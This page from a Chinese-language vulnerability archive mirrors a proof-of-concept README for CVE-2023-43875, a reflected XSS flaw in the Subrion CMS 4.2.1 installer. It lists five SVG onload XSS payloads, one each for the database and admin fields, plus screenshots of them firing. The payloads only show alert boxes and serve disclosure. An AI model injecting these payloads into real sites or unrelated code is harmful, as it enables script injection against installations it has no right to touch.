目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1000

100.0%

CVE-2023-43875 PoC — Subrion CMS 跨站脚本漏洞

来源
关联漏洞
标题:Subrion CMS 跨站脚本漏洞 (CVE-2023-43875)
Description:Subrion CMS是Subrion团队的一套基于PHP的内容管理系统(CMS)。该系统可被集成到网站,并支持多种扩展插件等。 Subrion CMS v.4.2.1版本存在安全漏洞,该漏洞源于dbhost、dbname等多个参数存在跨站脚本(XSS)漏洞。
Description
Subrion CMS 4.2.1 is affected by a Cross-Site Scripting (XSS) vulnerability that allows attackers to execute arbitrary code via a crafted payload in the installation process.
介绍
# Subrion CMS Reflected XSS v4.2.1

## Author: (Sergio)

**Description:** Multiple Cross-Site Scripting (XSS) vulnerabilities in installation of Subrion CMS v.4.2.1 allows a local attacker to execute arbitrary web scripts via a crafted payload injected into the dbhost, dbname, dbuser, adminusername and adminemail.

**Attack Vectors:** A vulnerability in the installation sanitation in the dbhost, dbname, dbuser, adminusername and adminemail allows JavaScript code to be injected.

---

### POC:


During the installation process we enter the XSS payload in any of the 5 fields and when we click on next, we will obtain the XSS pop-up

### XSS Payload:

```js
'"><svg/onload=alert('dbhost')>
```

### XSS Payload:

```js
'"><svg/onload=alert('dbname')>
```

### XSS Payload:

```js
'"><svg/onload=alert('dbuser')>
```

### XSS Payload:

```js
'"><svg/onload=alert('adminusername')>
```

### XSS Payload:

```js
'"><svg/onload=alert('adminemail')>
```

![XSS Instalación payload](https://github.com/sromanhu/Subrion-CMS-Reflected-XSS---Installation/assets/87250597/3e00a5cc-02cd-48d5-b345-f8b6fa5192ad)


In the following image you can see the embedded code that executes the payload in the instalaltion process.

![dbhost](https://github.com/sromanhu/Subrion-CMS-Reflected-XSS---Installation/assets/87250597/a8e17a97-162e-45e3-8d82-995b6dd2ec94)


![dbname](https://github.com/sromanhu/Subrion-CMS-Reflected-XSS---Installation/assets/87250597/29515a9d-2d45-4246-9c91-0e2b21bd7158)


![dbuser](https://github.com/sromanhu/Subrion-CMS-Reflected-XSS---Installation/assets/87250597/698ab3b6-13c4-4e98-bbd0-7856fd5108cd)


![adminusername](https://github.com/sromanhu/Subrion-CMS-Reflected-XSS---Installation/assets/87250597/d4f70afd-2914-4615-9878-e3b7acc4ac8b)


![adminemail](https://github.com/sromanhu/Subrion-CMS-Reflected-XSS---Installation/assets/87250597/2e587653-b1f5-4a08-99f8-89cf18c53edb)



</br>

### Additional Information:

[http://www.cmsmadesimple.org/](https://subrion.org/)

https://owasp.org/Top10/es/A03_2021-Injection/

文件快照

[4.0K] /data/pocs/c70c66b32bd64eddb3b5e4e20a8c1706d084fddf └── [2.0K] README.md 0 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →